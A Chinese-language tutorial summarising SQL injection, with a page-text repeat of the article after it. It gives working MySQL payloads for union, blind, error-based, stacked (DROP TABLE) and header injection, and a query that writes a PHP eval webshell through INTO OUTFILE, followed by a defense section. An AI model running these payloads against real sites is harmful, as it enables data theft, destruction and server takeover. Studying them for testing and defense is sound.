[Web安全-SQL注入漏洞全方位总结]
字数 1644 2025-08-11 21:26:12

SQL注入漏洞全方位总结

1. SQL注入基础概念

1.1 什么是SQL注入

SQL注入是因为后台SQL语句拼接了用户输入数据,且Web应用程序对用户输入数据的合法性没有判断和过滤。攻击者可以通过构造不同的SQL语句实现对数据库的任意操作,包括查询、删除、增加、修改数据等。如果数据库用户权限足够大,还可以对操作系统执行操作。

1.2 SQL注入分类

  • 按注入点类型分类
    • 数字型注入
    • 字符串类型注入
    • 搜索型注入
  • 按提交方式分类
    • GET注入
    • POST注入
    • COOKIE注入
    • HTTP头注入(XFF注入、UA注入、REFERER注入)
  • 按获取信息方式分类
    • 基于布尔的盲注
    • 基于时间的盲注
    • 基于报错的注入
    • 联合查询注入
    • 堆查询注入(可同时执行多条语句)

2. MySQL相关知识

2.1 information_schema数据库

MySQL 5.0之后默认添加的information_schema数据库,其中的表都是只读视图:

  • information_schema.schemata:存储所有数据库的库名
  • information_schema.tables:存储所有数据库的表名
  • information_schema.columns:存储所有列的列名

2.2 常用查询语句

-- 获取所有数据库名
SELECT schema_name FROM information_schema.schemata LIMIT 0,1;

-- 获取指定数据库中的所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1;

-- 获取指定表的所有列名
SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1;

2.3 MySQL常用函数

  • version():查询数据库版本
  • user():查询数据库使用者
  • database():当前数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user():当前用户名
  • load_file():读取本地文件
  • @@datadir:数据库路径
  • @@basedir:MySQL安装路径
  • @@version_compile_os:查看操作系统

2.4 字符串处理函数

  • ascii(str):返回字符的ASCII值
  • length(str):返回字符串长度
  • substr(string,start,length):截取字符串
  • concat():连接字符串
  • group_concat():用逗号连接查询结果

3. SQL注入检测方法

3.1 基本检测方法

  1. 添加单引号'、双引号"、括号)等查看是否报错
  2. 添加and 1=1and 1=2查看页面显示是否不同
  3. 输入随机字符查看是否显示错误页面

3.2 时间盲注检测

使用时间函数判断注入是否成功:

  • MySQL: benchmark(100000000,md5(5))
  • PostgreSQL: PG_sleep(5)
  • SQL Server: waitfor delay '0:0:5'

4. 注入技术详解

4.1 联合查询注入

-- 判断列数
?id=1' ORDER BY 3--+

-- 联合查询
?id=-1' UNION SELECT 1,2,3--+

-- 获取数据库信息
?id=-1' UNION SELECT 1,database(),user()--+

-- 获取表名
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

-- 获取列名
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'--+

-- 获取数据
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--+

4.2 报错注入

4.2.1 floor报错注入

?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),concat(user(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

4.2.2 ExtractValue报错注入

?id=1' AND extractvalue(1,concat(0x7e,version(),0x7e))--+

4.2.3 UpdateXml报错注入

?id=1' AND updatexml(1,concat(0x7e,user(),0x7e),1)--+

4.3 布尔盲注

-- 判断数据库长度
?id=1' AND length(database())>7--+

-- 判断数据库字符
?id=1' AND ascii(substr(database(),1,1))=115--+

-- 判断表数量
?id=1' AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=4--+

-- 判断表名
?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=101--+

4.4 时间盲注

-- 基本时间盲注
?id=1' AND if(ascii(substr(database(),1,1))<100,1,sleep(5))--+

-- 使用BENCHMARK
?id=1' AND if(ascii(substr(database(),1,1))=115,benchmark(10000000,md5(5)),0)--+

4.5 宽字节注入

-- 利用GBK编码特性绕过转义
?id=1%df' AND 1=1--+

-- 完整注入示例
?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

4.6 堆叠注入

?id=1'; DROP TABLE users--+

4.7 二次注入

  1. 注册用户名为admin'#
  2. 修改密码时,SQL语句变为:
UPDATE users SET PASSWORD='newpass' WHERE username='admin'#' AND password='$curr_pass'

实际执行:

UPDATE users SET PASSWORD='newpass' WHERE username='admin'

4.8 HTTP头注入

4.8.1 User-Agent注入

User-Agent: ' AND extractvalue(1,concat(0x7e,database(),0x7e)) AND '1'='1

4.8.2 Cookie注入

Cookie: id=1' AND 1=1--+

5. 文件操作

5.1 文件读取条件

  1. Web目录有写权限
  2. 知道网站绝对路径
  3. secure_file_priv没有具体值

5.2 文件读取

?id=-1' UNION SELECT 1,load_file('d:/1.txt'),3--+

5.3 文件写入

?id=-1' UNION SELECT 1,'<?php eval($_REQUEST[1]);?>',3 INTO OUTFILE 'd:\\phpStudy\\WWW\\1.php'--+

6. SQL注入防御

6.1 预编译(PreparedStatement)

String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();

6.2 PDO(PHP)

$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();

6.3 其他防御措施

  1. 对用户输入的特殊字符进行严格过滤
  2. 数据库连接用户权限最小化
  3. Web应用连接用户对Web目录无写权限
  4. 严格限定参数类型和格式
  5. 使用Web应用防火墙

7. 参考资源

  1. MySQL官方文档
  2. OWASP SQL注入防护指南
  3. SQL注入漏洞测试平台:sqli-labs
  4. Web安全测试工具:Burp Suite、SQLmap
SQL注入漏洞全方位总结 1. SQL注入基础概念 1.1 什么是SQL注入 SQL注入是因为后台SQL语句拼接了用户输入数据,且Web应用程序对用户输入数据的合法性没有判断和过滤。攻击者可以通过构造不同的SQL语句实现对数据库的任意操作,包括查询、删除、增加、修改数据等。如果数据库用户权限足够大,还可以对操作系统执行操作。 1.2 SQL注入分类 按注入点类型分类 : 数字型注入 字符串类型注入 搜索型注入 按提交方式分类 : GET注入 POST注入 COOKIE注入 HTTP头注入(XFF注入、UA注入、REFERER注入) 按获取信息方式分类 : 基于布尔的盲注 基于时间的盲注 基于报错的注入 联合查询注入 堆查询注入(可同时执行多条语句) 2. MySQL相关知识 2.1 information_ schema数据库 MySQL 5.0之后默认添加的information_ schema数据库,其中的表都是只读视图: information_schema.schemata :存储所有数据库的库名 information_schema.tables :存储所有数据库的表名 information_schema.columns :存储所有列的列名 2.2 常用查询语句 2.3 MySQL常用函数 version() :查询数据库版本 user() :查询数据库使用者 database() :当前数据库 system_user() :系统用户名 session_user() :连接数据库的用户名 current_user() :当前用户名 load_file() :读取本地文件 @@datadir :数据库路径 @@basedir :MySQL安装路径 @@version_compile_os :查看操作系统 2.4 字符串处理函数 ascii(str) :返回字符的ASCII值 length(str) :返回字符串长度 substr(string,start,length) :截取字符串 concat() :连接字符串 group_concat() :用逗号连接查询结果 3. SQL注入检测方法 3.1 基本检测方法 添加单引号 ' 、双引号 " 、括号 ) 等查看是否报错 添加 and 1=1 和 and 1=2 查看页面显示是否不同 输入随机字符查看是否显示错误页面 3.2 时间盲注检测 使用时间函数判断注入是否成功: MySQL: benchmark(100000000,md5(5)) PostgreSQL: PG_sleep(5) SQL Server: waitfor delay '0:0:5' 4. 注入技术详解 4.1 联合查询注入 4.2 报错注入 4.2.1 floor报错注入 4.2.2 ExtractValue报错注入 4.2.3 UpdateXml报错注入 4.3 布尔盲注 4.4 时间盲注 4.5 宽字节注入 4.6 堆叠注入 4.7 二次注入 注册用户名为 admin'# 修改密码时,SQL语句变为: 实际执行: 4.8 HTTP头注入 4.8.1 User-Agent注入 4.8.2 Cookie注入 5. 文件操作 5.1 文件读取条件 Web目录有写权限 知道网站绝对路径 secure_file_priv 没有具体值 5.2 文件读取 5.3 文件写入 6. SQL注入防御 6.1 预编译(PreparedStatement) 6.2 PDO(PHP) 6.3 其他防御措施 对用户输入的特殊字符进行严格过滤 数据库连接用户权限最小化 Web应用连接用户对Web目录无写权限 严格限定参数类型和格式 使用Web应用防火墙 7. 参考资源 MySQL官方文档 OWASP SQL注入防护指南 SQL注入漏洞测试平台:sqli-labs Web安全测试工具:Burp Suite、SQLmap